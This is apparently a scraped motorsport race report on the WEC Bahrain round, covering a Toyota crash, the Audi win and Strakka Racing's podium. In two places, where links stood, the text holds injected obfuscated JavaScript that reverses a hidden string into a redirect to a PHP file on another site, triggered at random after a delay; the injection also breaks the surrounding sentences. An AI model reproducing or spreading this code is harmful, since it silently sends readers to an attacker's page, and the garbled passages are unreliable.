WEC Round 6. Bahrain. An Illuminating Incident

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Coming up to lap the #21 Strakka Racing entry, a mistimed lunge by Lapierre saw the Toyota clatter into the back of the HPD ARX-03a prototype before bumping off-track at turn 12, unable to steer or slow down. The visor came up, the wheel came out, and the belts came off. The Toyota was done.

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As demonstrated multiple times during the year, the lead Audi proved the epitome of consistency, Fässler, Lotterer and Tréluyer taking the chequered flag with ease after a rocky start. One lap behind was McNish and Kristensen, who like the Toyota, had also suffered electrical problems. A faltering headlight cost the #2 crew two laps while the nosecone was replaced. Though closing in on their teammates up ahead, both former-$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/le-mans-24hrs-preview-the-unpredictable/” target=”_blank”>Le Mans 24hrs winners simply ran out of laps.

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Jubilation echoed around the Strakka berth as the LMP1 privateers rebuffed challenges from Rebellion Racing (and suffered only a punctured tyre with the Toyota) to secure the final spot on the podium, the first privateer LMP1 team to do so since Rebellion took third at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/wec-round-4-sealing-the-deal/” target=”_blank”>Le Mans. Third place overall for Nick Leventis, Danny Watts and Jonny Kane came at the expense of Nicolas Prost and Neel Jani in the #12 Rebellion Racing Lola-Toyota, overhauling the Franco-Swiss pair with a devastating run during the pit stop phase. Having started from the back of the grid, a commendable showing from the sister #13 Rebellion car brought Andrea Belicchi and Harold Primat a well-earned fifth place.

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David Brabham, Karun Chandhok and Peter Dumbreck had also looked strong in the early stages in the #22 JRM HPD, only for a stop and go penalty – handed down to Chandhok for speeding in the pitlane – to scupper all hope of challenging for the win.

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